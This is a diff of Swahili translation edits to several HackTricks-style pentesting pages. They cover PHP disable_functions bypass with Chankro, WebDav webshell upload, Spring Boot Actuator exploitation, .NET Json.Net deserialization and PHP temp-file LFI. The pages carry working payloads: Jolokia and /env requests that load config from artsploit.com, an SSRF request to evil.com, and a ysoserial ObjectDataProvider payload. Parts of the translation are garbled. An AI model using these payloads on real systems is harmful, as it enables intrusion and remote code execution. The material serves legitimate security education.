Katika mfano ufuatao unaweza kuona jinsi ya **kuunda chankro exploit** kwa **arch 64**, ambayo itatekeleza `whoami` na kuokoa matokeo katika _/tmp/chankro_shell.out_, chankro it **andika maktaba na payload** katika _/tmp_ na **exploit ya mwisho** itaitwa **bicho.php** (hiyo ndiyo faili unahitaji kupakia kwenye seva ya waathirika):
{{#tabs}}
{{#tab name="shell.sh"}}
@ -544,7 +544,7 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
{{#endtab}}
{{#endtabs}}
Ikiwa unapata kwamba **mail** kazi imezuiwa na kazi zilizozuiliwa, unaweza bado kuwa na uwezo wa kutumia kazi **mb_send_mail.**\
Ikiwa unakutana na **mail** function imezuiwa na kazi zilizozuiliwa, unaweza bado kutumia kazi **mb_send_mail.**\
Taarifa zaidi kuhusu mbinu hii na Chankro hapa: [https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/)
### "Bypass" kwa kutumia uwezo wa PHP
@ -593,7 +593,7 @@ Script ifuatayo inajaribu baadhi ya mbinu zilizozungumziwa hapa:\
### Orodha ya kazi zinazokubali callbacks
Kazi hizi zinakubali parameter ya string ambayo inaweza kutumika kuita kazi ya uchaguzi wa mshambuliaji. Kulingana na kazi, mshambuliaji anaweza kuwa na uwezo wa kupitisha parameter au la. Katika hali hiyo, kazi ya Ufichuzi wa Taarifa kama phpinfo() inaweza kutumika.
Kazi hizi zinakubali parameter ya string ambayo inaweza kutumika kuita kazi ya uchaguzi wa mshambuliaji. Kulingana na kazi, mshambuliaji anaweza kuwa na uwezo wa kupitisha parameter au la. Katika hali hiyo, kazi ya Ufichaji wa Taarifa kama phpinfo() inaweza kutumika.
[Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php)
@ -633,9 +633,9 @@ Kazi hizi zinakubali parameter ya string ambayo inaweza kutumika kuita kazi ya u
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,
```
### Ufunuo wa Taarifa
### Information Disclosure
Mara nyingi, kito hiki cha kazi si vyanzo. Lakini inaweza kuwa udhaifu ikiwa data yoyote iliyorejeshwa inaonekana kwa mshambuliaji. Ikiwa mshambuliaji anaweza kuona phpinfo(), ni udhaifu bila shaka.
Mara nyingi, hizi kito za kazi si vyanzo. Lakini inaweza kuwa udhaifu ikiwa data yoyote iliyorejeshwa inaonekana kwa mshambuliaji. Ikiwa mshambuliaji anaweza kuona phpinfo(), ni udhaifu bila shaka.
```php
phpinfo
posix_mkfifo
@ -677,7 +677,7 @@ posix_setuid
```
### Filesystem Functions
Kulingana na RATS, kazi zote za filesystem katika php ni mbaya. Baadhi ya hizi hazionekani kuwa na manufaa sana kwa mshambuliaji. Nyingine ni za manufaa zaidi kuliko unavyoweza kufikiria. Kwa mfano, ikiwa allow_url_fopen=On, basi url inaweza kutumika kama njia ya faili, hivyo wito wa copy($\_GET\['s'], $\_GET\['d']); unaweza kutumika kupakia script ya PHP mahali popote kwenye mfumo. Pia, ikiwa tovuti ina udhaifu wa ombi lililotumwa kupitia GET, kila moja ya hizo kazi za filesystem inaweza kutumika vibaya kupeleka shambulio kwa mwenyeji mwingine kupitia seva yako.
Kulingana na RATS, kazi zote za mfumo wa faili katika php ni mbaya. Baadhi ya hizi hazionekani kuwa na manufaa sana kwa mshambuliaji. Nyingine ni za manufaa zaidi kuliko unavyoweza kufikiria. Kwa mfano, ikiwa allow_url_fopen=On, basi url inaweza kutumika kama njia ya faili, hivyo wito wa copy($\_GET\['s'], $\_GET\['d']); unaweza kutumika kupakia skripti ya PHP mahali popote kwenye mfumo. Pia, ikiwa tovuti ina udhaifu wa ombi lililotumwa kupitia GET, kila moja ya hizo kazi za mfumo wa faili inaweza kutumika vibaya kupeleka shambulio kwa mwenyeji mwingine kupitia seva yako.
**Open filesystem handler**
```php
@ -687,7 +687,7 @@ bzopen
gzopen
SplFileObject->__construct
```
**Andika kwenye mfumo wa faili (kwa sehemu kwa pamoja na kusoma)**
**Andika kwenye mfumo wa faili (sehemu kwa sehemu kwa mchanganyiko na kusoma)**
```php
chgrp
chmod

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
Unaposhughulika na **HTTP Server yenye WebDav** iliyoanzishwa, inawezekana **kudhibiti faili** ikiwa una **vithibitisho** sahihi, ambavyo kawaida vinathibitishwa kupitia **HTTP Basic Authentication**. Kupata udhibiti wa seva kama hiyo mara nyingi kunahusisha **kupakia na kutekeleza webshell**.
Wakati wa kushughulika na **HTTP Server yenye WebDav** iliyoanzishwa, inawezekana **kudhibiti faili** ikiwa una **vithibitisho** sahihi, ambavyo kawaida vinathibitishwa kupitia **HTTP Basic Authentication**. Kupata udhibiti wa seva kama hiyo mara nyingi kunahusisha **kupakia na kutekeleza webshell**.
Upatikanaji wa seva ya WebDav kawaida unahitaji **vithibitisho halali**, huku [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) ikiwa njia ya kawaida ya kuzipata.
Ili kushinda vizuizi kwenye upakiaji wa faili, hasa vile vinavyokataza utekelezaji wa skripti za upande wa seva, unaweza:
- **Kupakia** faili zenye **nyongeza zinazoweza kutekelezwa** moja kwa moja ikiwa hazijakatazwa.
- **Kubadilisha jina** la faili zisizoweza kutekelezwa zilizopakiwa (kama .txt) kuwa nyongeza inayoweza kutekelezwa.
- **Kopi** faili zisizoweza kutekelezwa zilizopakiwa, ukibadilisha nyongeza yao kuwa ile inayoweza kutekelezwa.
- **Pakia** faili zenye **nyongeza zinazoweza kutekelezwa** moja kwa moja ikiwa hazijakatazwa.
- **Badilisha jina** la faili zisizoweza kutekelezwa zilizopakiwa (kama .txt) kuwa nyongeza inayoweza kutekelezwa.
- **Nakili** faili zisizoweza kutekelezwa zilizopakiwa, ukibadilisha nyongeza yao kuwa ile inayoweza kutekelezwa.
## DavTest
@ -39,16 +39,16 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
## IIS5/6 WebDav Vulnerability
Ushirikiano huu ni wa kuvutia sana. **WebDav** ha **iruhusu** **kupakia** au **kurekebisha** faili zenye kiambishi **.asp**. Lakini unaweza **kuepuka** hii kwa **kuongeza** mwishoni mwa jina **";.txt"** na faili itatekelezwa kana kwamba ni faili ya .asp (unaweza pia **kutumia ".html" badala ya ".txt"** lakini **USISAHAU ";"**).
Ushirikiano huu ni wa kuvutia sana. **WebDav** ha **iruhusu** **kupakia** au **kurekebisha** faili zenye kiambishi **.asp**. Lakini unaweza **kuepuka** hili kwa **kuongeza** mwishoni mwa jina **";.txt"** na faili itatekelezwa kana kwamba ni faili ya .asp (unaweza pia **kutumia ".html" badala ya ".txt"** lakini **USISAHAU ";"**).
Kisha unaweza **kupakia** shell yako kama faili ya ".**txt"** na **kunakili/kuhamasisha** kwenye faili ya ".asp;.txt". Ukifungua faili hiyo kupitia seva ya wavuti, itatekelezwa (cadaver itasema kwamba hatua ya kuhamasisha haikufanya kazi, lakini ilifanya).
Kisha unaweza **kupakia** shell yako kama faili ".**txt"** na **kunakili/kuhamasisha** kwenye faili ".asp;.txt". Ukifungua faili hiyo kupitia seva ya wavuti, itatekelezwa (cadaver itasema kuwa hatua ya kuhamasisha haikufanya kazi, lakini ilifanya).
![](<../../images/image (1092).png>)
## Post credentials
Ikiwa Webdav ilikuwa ikitumia seva ya Apache unapaswa kuangalia tovuti zilizowekwa kwenye Apache. Kawaida:\
\_**/etc/apache2/sites-enabled/000-default**_
_**/etc/apache2/sites-enabled/000-default**_
Ndani yake unaweza kupata kitu kama:
```
@ -61,7 +61,7 @@ AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
Kama unavyoona kuna faili zenye **credentials** halali za seva ya **webdav**:
Kama unavyoona kuna faili zenye **credentials** halali za **webdav** server:
```
/etc/apache2/users.password
```

View File

@ -76,7 +76,7 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
## Conditionals
- Requests using these headers: **`If-Modified-Since`** and **`If-Unmodified-Since`** will be responded with data only if the response header\*\*`Last-Modified`\*\* contains a different time.
- Requests using these headers: **`If-Modified-Since`** and **`If-Unmodified-Since`** will be responded with data only if the response header**`Last-Modified`** contains a different time.
- Conditional requests using **`If-Match`** and **`If-None-Match`** use an Etag value so the web server will send the content of the response if the data (Etag) has changed. The `Etag` is taken from the HTTP response.
- The **Etag** value is usually **calculated based** on the **content** of the response. For example, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indicates that the `Etag` is the **Sha1** of **37 bytes**.
@ -108,8 +108,8 @@ For example a combination of **`Range`** and **`Etag`** in a HEAD request can le
## Controls
- **`Allow`**: This header is used to communicate the HTTP methods a resource can handle. For example, it might be specified as `Allow: GET, POST, HEAD`, indicating that the resource supports these methods.
- **`Expect`**: Utilized by the client to convey expectations that the server needs to meet for the request to be processed successfully. A common use case involves the `Expect: 100-continue` header, which signals that the client intends to send a large data payload. The client looks for a `100 (Continue)` response before proceeding with the transmission. This mechanism helps in optimizing network usage by awaiting server confirmation.
- **`Allow`**: Header hii inatumika kuwasilisha mbinu za HTTP ambazo rasilimali inaweza kushughulikia. Kwa mfano, inaweza kuainishwa kama `Allow: GET, POST, HEAD`, ikionyesha kwamba rasilimali inasaidia mbinu hizi.
- **`Expect`**: Inatumika na mteja kuwasilisha matarajio ambayo seva inahitaji kutimiza ili ombi lilipwe kwa mafanikio. Matumizi ya kawaida ni pamoja na kichwa cha `Expect: 100-continue`, ambacho kinadhihirisha kwamba mteja anatarajia kutuma mzigo mkubwa wa data. Mteja anatazamia jibu la `100 (Continue)` kabla ya kuendelea na uhamasishaji. Mekanismu hii inasaidia kuboresha matumizi ya mtandao kwa kusubiri uthibitisho wa seva.
## Downloads
@ -148,7 +148,7 @@ el.innerHTML = escaped // Results in safe assignment.
```
### **X-Content-Type-Options**
Kichwa hiki kinazuia upimaji wa aina ya MIME, mbinu ambayo inaweza kusababisha udhaifu wa XSS. Kinahakikisha kwamba vivinjari vinaheshimu aina za MIME zilizotolewa na seva.
Kichwa hiki kinazuia upimaji wa aina ya MIME, mbinu ambayo inaweza kusababisha udhaifu wa XSS. Kinahakikisha kwamba vivinjari vinaheshimu aina za MIME zilizotajwa na seva.
```
X-Content-Type-Options: nosniff
```
@ -160,7 +160,7 @@ X-Frame-Options: DENY
```
### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
CORP ni muhimu kwa kubainisha ni rasilimali zipi zinaweza kupakiwa na tovuti, ikipunguza leaks za tovuti tofauti. CORS, kwa upande mwingine, inaruhusu mfumo wa kushiriki rasilimali za asili tofauti kwa njia ya kubadilika zaidi, ikirelax sera ya asili sawa chini ya hali fulani.
CORP ni muhimu kwa kubainisha ni rasilimali zipi zinaweza kupakiwa na tovuti, ikipunguza uvujaji wa taarifa kati ya tovuti. CORS, kwa upande mwingine, inaruhusu mfumo wa kubadilishana rasilimali za asili tofauti kwa njia rahisi, ikirekebisha sera ya asili sawa chini ya hali fulani.
```
Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com

View File

@ -6,30 +6,30 @@
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
**Kutoka** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## Kutumia Spring Boot Actuators
## Exploiting Spring Boot Actuators
**Angalia chapisho la asili kutoka** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **Mambo Muhimu:**
### **Key Points:**
- Spring Boot Actuators inasajili mwisho kama `/health`, `/trace`, `/beans`, `/env`, n.k. Katika toleo la 1 hadi 1.4, mwisho haya yanapatikana bila uthibitisho. Kuanzia toleo la 1.5 na kuendelea, tu `/health` na `/info` hazina hatari kwa default, lakini waendelezaji mara nyingi huondoa usalama huu.
- Spring Boot Actuators hujaza mwisho kama `/health`, `/trace`, `/beans`, `/env`, n.k. Katika toleo la 1 hadi 1.4, mwisho haya yanapatikana bila uthibitisho. Kuanzia toleo la 1.5 kuendelea, tu `/health` na `/info` hazina hatari kwa msingi, lakini waendelezaji mara nyingi huondoa usalama huu.
- Baadhi ya mwisho za Actuator zinaweza kufichua data nyeti au kuruhusu vitendo vya hatari:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, na `/heapdump`.
- Katika Spring Boot 1.x, actuators zinasajiliwa chini ya URL ya mzizi, wakati katika 2.x, ziko chini ya njia ya msingi `/actuator/`.
- Katika Spring Boot 1.x, actuators hujaza chini ya URL ya mzizi, wakati katika 2.x, ziko chini ya njia ya msingi `/actuator/`.
### **Mbinu za Kutumia:**
### **Exploitation Techniques:**
1. **Utekelezaji wa Kanuni ya Kijijini kupitia '/jolokia'**:
1. **Remote Code Execution via '/jolokia'**:
- Mwisho wa actuator `/jolokia` unafichua Maktaba ya Jolokia, ambayo inaruhusu ufikiaji wa HTTP kwa MBeans.
- Kitendo cha `reloadByURL` kinaweza kutumika kuhamasisha mipangilio ya uandishi kutoka URL ya nje, ambayo inaweza kusababisha XXE ya kipofu au Utekelezaji wa Kanuni ya Kijijini kupitia mipangilio ya XML iliyoundwa.
- Mfano wa URL ya kutumia: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Mabadiliko ya Mipangilio kupitia '/env'**:
- Kitendo `reloadByURL` kinaweza kutumika kuhamasisha mipangilio ya uandishi kutoka URL ya nje, ambayo inaweza kusababisha XXE ya kipofu au Utekelezaji wa Kode ya K remote kupitia mipangilio ya XML iliyoundwa.
- Mfano wa URL ya shambulio: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:
- Ikiwa Maktaba za Spring Cloud zipo, mwisho wa `/env` unaruhusu mabadiliko ya mali za mazingira.
- Mali zinaweza kubadilishwa ili kutumia udhaifu, kama udhaifu wa deserialization wa XStream katika huduma ya Eureka serviceURL.
- Mfano wa ombi la POST la kutumia:
- Mali zinaweza kubadilishwa ili kutumia udhaifu, kama vile udhaifu wa deserialization wa XStream katika huduma ya Eureka serviceURL.
- Mfano wa ombi la POST la shambulio:
```
POST /env HTTP/1.1
@ -40,27 +40,25 @@ Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Mipangilio Mingine ya Faida**:
- Mali kama `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, na `spring.datasource.tomcat.max-active` zinaweza kubadilishwa kwa matumizi mbalimbali, kama injection ya SQL au kubadilisha nyuzi za muunganisho wa database.
3. **Other Useful Settings**:
- Mali kama `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, na `spring.datasource.tomcat.max-active` zinaweza kubadilishwa kwa shambulio mbalimbali, kama vile kuingilia SQL au kubadilisha nyuzi za muunganisho wa database.
### **Taarifa Zaidi:**
### **Additional Information:**
- Orodha kamili ya actuators za default inaweza kupatikana [hapa](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Orodha kamili ya actuators za msingi inaweza kupatikana [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Mwisho wa `/env` katika Spring Boot 2.x unatumia muundo wa JSON kwa mabadiliko ya mali, lakini dhana ya jumla inabaki sawa.
### **Mada Zinazohusiana:**
### **Related Topics:**
1. **Env + H2 RCE**:
- Maelezo kuhusu kutumia mchanganyiko wa mwisho wa `/env` na database ya H2 yanaweza kupatikana [hapa](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
2. **SSRF kwenye Spring Boot Kupitia Tafsiri Mbaya ya Njia**:
- Usimamizi wa mfumo wa Spring wa vigezo vya matrix (`;`) katika njia za HTTP unaweza kutumika kwa Server-Side Request Forgery (SSRF).
- Mfano wa ombi la kutumia:
- Maelezo kuhusu kutumia mchanganyiko wa mwisho wa `/env` na database ya H2 yanaweza kupatikana [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Usimamizi wa mfumo wa Spring wa vigezo vya matrix (`;`) katika majina ya njia za HTTP unaweza kutumika kwa Server-Side Request Forgery (SSRF).
- Mfano wa ombi la shambulio:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# Msingi wa .Net deserialization (Gadget ya ObjectDataProvider, ExpandedWrapper, na Json.Net)
# Msingi wa .Net deserialization (gadget ya ObjectDataProvider, ExpandedWrapper, na Json.Net)
{{#include ../../banners/hacktricks-training.md}}
@ -6,9 +6,9 @@ Post hii inajitolea kwa **kuelewa jinsi gadget ya ObjectDataProvider inavyotumiw
## Gadget ya ObjectDataProvider
Kutoka kwenye nyaraka: _darasa la ObjectDataProvider linafungua na kuunda kitu ambacho unaweza kutumia kama chanzo cha uhusiano_.\
Kutoka kwenye hati: _darasa la ObjectDataProvider linafungua na kuunda kitu ambacho unaweza kutumia kama chanzo cha uhusiano_.\
Ndio, ni maelezo ya ajabu, hivyo hebu tuone ni nini darasa hili lina ambacho ni cha kuvutia sana: Darasa hili linaruhusu **kufunga kitu chochote**, kutumia _**MethodParameters**_ kuweka **vigezo vyovyote,** na kisha **kutumia MethodName kuita kazi yoyote** ya kitu chochote kilichotangazwa kwa kutumia vigezo vyovyote.\
Hivyo, **kitu** chochote kitafanya **kazi** na **vigezo wakati kinapokuwa kinadeserialized.**
Hivyo, **kitu** hicho kitafanya **kazi** na **vigezo wakati kinapokuwa kinadeserialized.**
### **Jinsi hii inavyowezekana**
@ -22,7 +22,7 @@ Kama unavyoona wakati `MethodName` imewekwa `base.Refresh()` inaitwa, hebu tuang
![](<../../images/image (319).png>)
Sawa, hebu tuendelee kuona `this.BeginQuery()` inafanya nini. `BeginQuery` imeandikwa upya na `ObjectDataProvider` na hii ndiyo inafanya:
Sawa, hebu tuendelee kuona `this.BeginQuery()` inafanya nini. `BeginQuery` imezuiliwa na `ObjectDataProvider` na hiki ndicho inachofanya:
![](<../../images/image (345).png>)
@ -30,9 +30,9 @@ Kumbuka kwamba mwishoni mwa msimbo inaita `this.QueryWorke(null)`. Hebu tuone in
![](<../../images/image (596).png>)
Kumbuka kwamba hii si msimbo kamili wa kazi ya `QueryWorker` lakini inaonyesha sehemu ya kuvutia ya hiyo: Msimbo **unaita `this.InvokeMethodOnInstance(out ex);`** hii ndiyo mistari ambapo **seti ya njia inaitwa**.
Kumbuka kwamba hii si msimbo kamili wa kazi ya `QueryWorker` lakini inaonyesha sehemu ya kuvutia: Msimbo **unaita `this.InvokeMethodOnInstance(out ex);`** hii ndiyo mistari ambapo **seti ya njia inaitwa**.
Ikiwa unataka kuangalia kwamba kwa kuweka tu _**MethodName**_\*\* itatekelezwa\*\*, unaweza kukimbia msimbo huu:
Ikiwa unataka kuangalia kwamba kwa kuweka tu _**MethodName**_** itatekelezwa**, unaweza kukimbia msimbo huu:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -56,10 +56,10 @@ Kumbuka kwamba unahitaji kuongeza kama rejeleo _C:\Windows\Microsoft.NET\Framewo
## ExpandedWrapper
Kwa kutumia exploit iliyotangulia kutakuwa na kesi ambapo **kitu** kitakuwa **deserialized kama** _**ObjectDataProvider**_ mfano (kwa mfano katika DotNetNuke vuln, kwa kutumia XmlSerializer, kitu kilikuwa deserialized kwa kutumia `GetType`). Hivyo, hatutakuwa na **ufahamu wa aina ya kitu kilichofichwa** katika _ObjectDataProvider_ mfano (`Process` kwa mfano). Unaweza kupata [maelezo zaidi kuhusu DotNetNuke vuln hapa](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Kwa kutumia exploit iliyotangulia kutakuwa na kesi ambapo **kitu** kitakuwa **kimeondolewa** kama _**ObjectDataProvider**_ mfano (kwa mfano katika DotNetNuke vuln, kwa kutumia XmlSerializer, kitu kiliondolewa kwa kutumia `GetType`). Hivyo, hakutakuwa na **ufahamu wa aina ya kitu kilichofichwa** katika mfano wa _ObjectDataProvider_ (`Process` kwa mfano). Unaweza kupata [maelezo zaidi kuhusu DotNetNuke vuln hapa](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Darasa hili linaruhusu s**pecify aina za vitu vya vitu vilivyofichwa** katika mfano fulani. Hivyo, darasa hili linaweza kutumika kuficha kitu cha chanzo (_ObjectDataProvider_) ndani ya aina mpya ya kitu na kutoa mali tunazohitaji (_ObjectDataProvider.MethodName_ na _ObjectDataProvider.MethodParameters_).\
Hii ni muhimu sana kwa kesi kama ile iliyowasilishwa hapo awali, kwa sababu tutakuwa na uwezo wa **kuficha \_ObjectDataProvider**_\*\* ndani ya \*\*_**ExpandedWrapper** \_ mfano na **wakati wa deserialization** darasa hili litaunda _**OjectDataProvider**_ kitu ambacho kitafanya **kazi** iliyoonyeshwa katika _**MethodName**_.
Darasa hili linaruhusu **kueleza aina za vitu vya vitu vilivyofichwa** katika mfano fulani. Hivyo, darasa hili linaweza kutumika kuficha kitu cha chanzo (_ObjectDataProvider_) ndani ya aina mpya ya kitu na kutoa mali tunazohitaji (_ObjectDataProvider.MethodName_ na _ObjectDataProvider.MethodParameters_).\
Hii ni muhimu sana kwa kesi kama ile iliyowasilishwa hapo awali, kwa sababu tutakuwa na uwezo wa **kuficha \_ObjectDataProvider**_** ndani ya mfano wa **_**ExpandedWrapper** \_ na **wakati wa kuondolewa** darasa hili litaunda _**OjectDataProvider**_ kitu ambacho kitafanya **kazi** iliyoonyeshwa katika _**MethodName**_.
Unaweza kuangalia wrapper hii kwa kutumia msimbo ufuatao:
```java
@ -89,7 +89,7 @@ Katika [ukurasa rasmi](https://www.newtonsoft.com/json) inaonyeshwa kwamba makta
### Mfano wa Json.Net
Kwanza kabisa hebu tuone mfano wa jinsi ya **kufanya uhifadhi/ufunguo wa tena** kitu kwa kutumia maktaba hii:
Kwanza kabisa hebu tuone mfano wa jinsi ya **kuhifadhi/kufungua tena** kitu kwa kutumia maktaba hii:
```java
using System;
using Newtonsoft.Json;
@ -132,9 +132,9 @@ Console.WriteLine(desaccount.Email);
}
}
```
### Kutumia Json.Net
### Abusing Json.Net
Kwa kutumia [ysoserial.net](https://github.com/pwntester/ysoserial.net) nilitengeneza exploit:
Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) niliunda exploit:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
Katika hii nambari unaweza **kujaribu exploit**, endesha tu na utaona kwamba calc inatekelezwa:
Katika msimbo huu unaweza **kujaribu exploit**, endesha tu na utaona kwamba calc inatekelezwa:
```java
using System;
using System.Text;

View File

@ -4,29 +4,29 @@
## Taarifa za Msingi
Kwa kawaida, wakati faili inapoupwa kwenye PHP (hata kama haitarajii), itaunda faili ya muda katika `/tmp` yenye jina kama **`php[a-zA-Z0-9]{6}`**, ingawa nimeona picha zingine za docker ambapo faili zilizozalishwa hazina nambari.
Kwa kawaida, wakati faili inapoupwa kwenye PHP (hata kama haitarajii), itaunda faili ya muda katika `/tmp` yenye jina kama **`php[a-zA-Z0-9]{6}`**, ingawa nimeona picha za docker ambapo faili zilizozalishwa hazina nambari.
Katika uingizaji wa faili wa ndani, **ikiwa utaweza kuingiza faili hiyo iliyoupwa, utapata RCE**.
Katika uingizaji wa faili wa ndani, **ikiwa utaweza kuingiza faili hiyo iliyopakiwa, utapata RCE**.
Kumbuka kwamba kwa kawaida **PHP inaruhusu kupakia faili 20 tu katika ombi moja** (iliyowekwa katika `/etc/php/<version>/apache2/php.ini`):
```
; Maximum number of files that can be uploaded via a single request
max_file_uploads = 20
```
Pia, **idadi ya majina ya faili yanayoweza kuwa ni 62\*62\*62\*62\*62\*62 = 56800235584**
Pia, **idadi ya majina yanayoweza kutumika ni 62\*62\*62\*62\*62\*62 = 56800235584**
### Mbinu nyingine
Mbinu nyingine zinategemea kushambulia protokali za PHP (hutoweza ikiwa unadhibiti sehemu ya mwisho ya njia), kufichua njia ya faili, kutumia faili zinazotarajiwa, au **kufanya PHP ipate makosa ya segmentation ili faili za muda zilizopakiwa zisifutwe**.\
Mbinu hii ni **sawa sana na ya mwisho lakini bila kuhitaji kupata siku sifuri**.
Mbinu hii ni **sawa sana na ile ya mwisho lakini bila kuhitaji kupata siku sifuri**.
### Mbinu ya kusubiri milele
Katika mbinu hii **tunahitaji tu kudhibiti njia ya jamaa**. Ikiwa tutafanikiwa kupakia faili na kufanya **LFI isikome kamwe**, tutakuwa na "wakati wa kutosha" ili **kujaribu nguvu faili zilizopakiwa** na **kupata** yoyote kati ya zile zilizopakiwa.
Katika mbinu hii **tunahitaji tu kudhibiti njia ya jamaa**. Ikiwa tutafanikiwa kupakia faili na kufanya **LFI isimalizike kamwe**, tutakuwa na "wakati wa kutosha" ili **kujaribu nguvu faili zilizopakiwa** na **kupata** yoyote kati ya zile zilizopakiwa.
**Faida za mbinu hii**:
- Unahitaji tu kudhibiti njia ya jamaa ndani ya kujumuisha
- Unahitaji tu kudhibiti njia ya jamaa ndani ya jumuisho
- Haihitaji nginx au kiwango kisichotarajiwa cha ufikiaji wa faili za log
- Haihitaji siku sifuri ili kusababisha makosa ya segmentation
- Haihitaji kufichua njia
@ -34,14 +34,14 @@ Katika mbinu hii **tunahitaji tu kudhibiti njia ya jamaa**. Ikiwa tutafanikiwa k
**Matatizo makuu** ya mbinu hii ni:
- Inahitaji faili maalum kuwapo (huenda kuna zaidi)
- **Kiasi cha ajabu** cha majina ya faili yanayoweza: **56800235584**
- Ikiwa seva **haitumii nambari** jumla ya uwezo ni: **19770609664**
- **Kiasi cha ajabu** cha majina yanayoweza kutumika: **56800235584**
- Ikiwa seva **haiitumii nambari** jumla ya uwezo ni: **19770609664**
- Kwa kawaida **faili 20 tu** zinaweza kupakiwa katika **ombio moja**.
- **idadi ya juu ya wafanyakazi wa sambamba** wa seva inayotumika.
- Kizuizi hiki pamoja na vya awali kinaweza kufanya shambulio hili kudumu kwa muda mrefu
- **idadi ya wafanyakazi wa sambamba** wa seva inayotumika.
- Kizuizi hiki pamoja na vingine vya awali kinaweza kufanya shambulio hili kudumu kwa muda mrefu
- **Muda wa kupita kwa ombi la PHP**. Kwa kawaida hii inapaswa kuwa milele au inapaswa kuua mchakato wa PHP bila kufuta faili za muda zilizopakiwa, ikiwa sivyo, hii pia itakuwa shida
Basi, unaweza **aje kufanya kujumuisha PHP kusiishe kamwe**? Kwa kujumlisha tu faili **`/sys/kernel/security/apparmor/revision`** (**haipatikani katika kontena za Docker** kwa bahati mbaya...).
Basi, unaweza **aje kufanya jumuisho la PHP lisimalizike kamwe**? Kwa kuingiza tu faili **`/sys/kernel/security/apparmor/revision`** (**haipatikani katika kontena za Docker** kwa bahati mbaya...).
Jaribu kwa kuitwa:
```bash
@ -50,7 +50,7 @@ include("/sys/kernel/security/apparmor/revision");
```
## Apache2
Kwa kawaida, Apache inasaidia **michango 150 ya pamoja**, kufuatia [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) inawezekana kuboresha nambari hii hadi **8000**. Fuata hii kutumia PHP na moduli hiyo: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
Kwa kawaida, Apache inasaidia **michango 150 ya pamoja**, kufuata [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) inawezekana kuboresha nambari hii hadi **8000**. Fuata hii kutumia PHP na moduli hiyo: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
Kwa kawaida, (kama ninavyoona katika majaribio yangu), **mchakato wa PHP unaweza kudumu milele**.
@ -72,23 +72,23 @@ Ikiwa seva ya Apache imeboreshwa na tunaweza kutumia **michango 4000** (katika n
Ikiwa badala ya kutumia moduli ya kawaida ya php kwa apache kuendesha skripti za PHP **ukurasa wa wavuti unatumia** **PHP-FMP** (hii inaboresha ufanisi wa ukurasa wa wavuti, hivyo ni kawaida kuikuta), kuna kitu kingine kinachoweza kufanywa kuboresha mbinu hiyo.
PHP-FMP inaruhusu **kuunda** **parameta** **`request_terminate_timeout`** katika **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
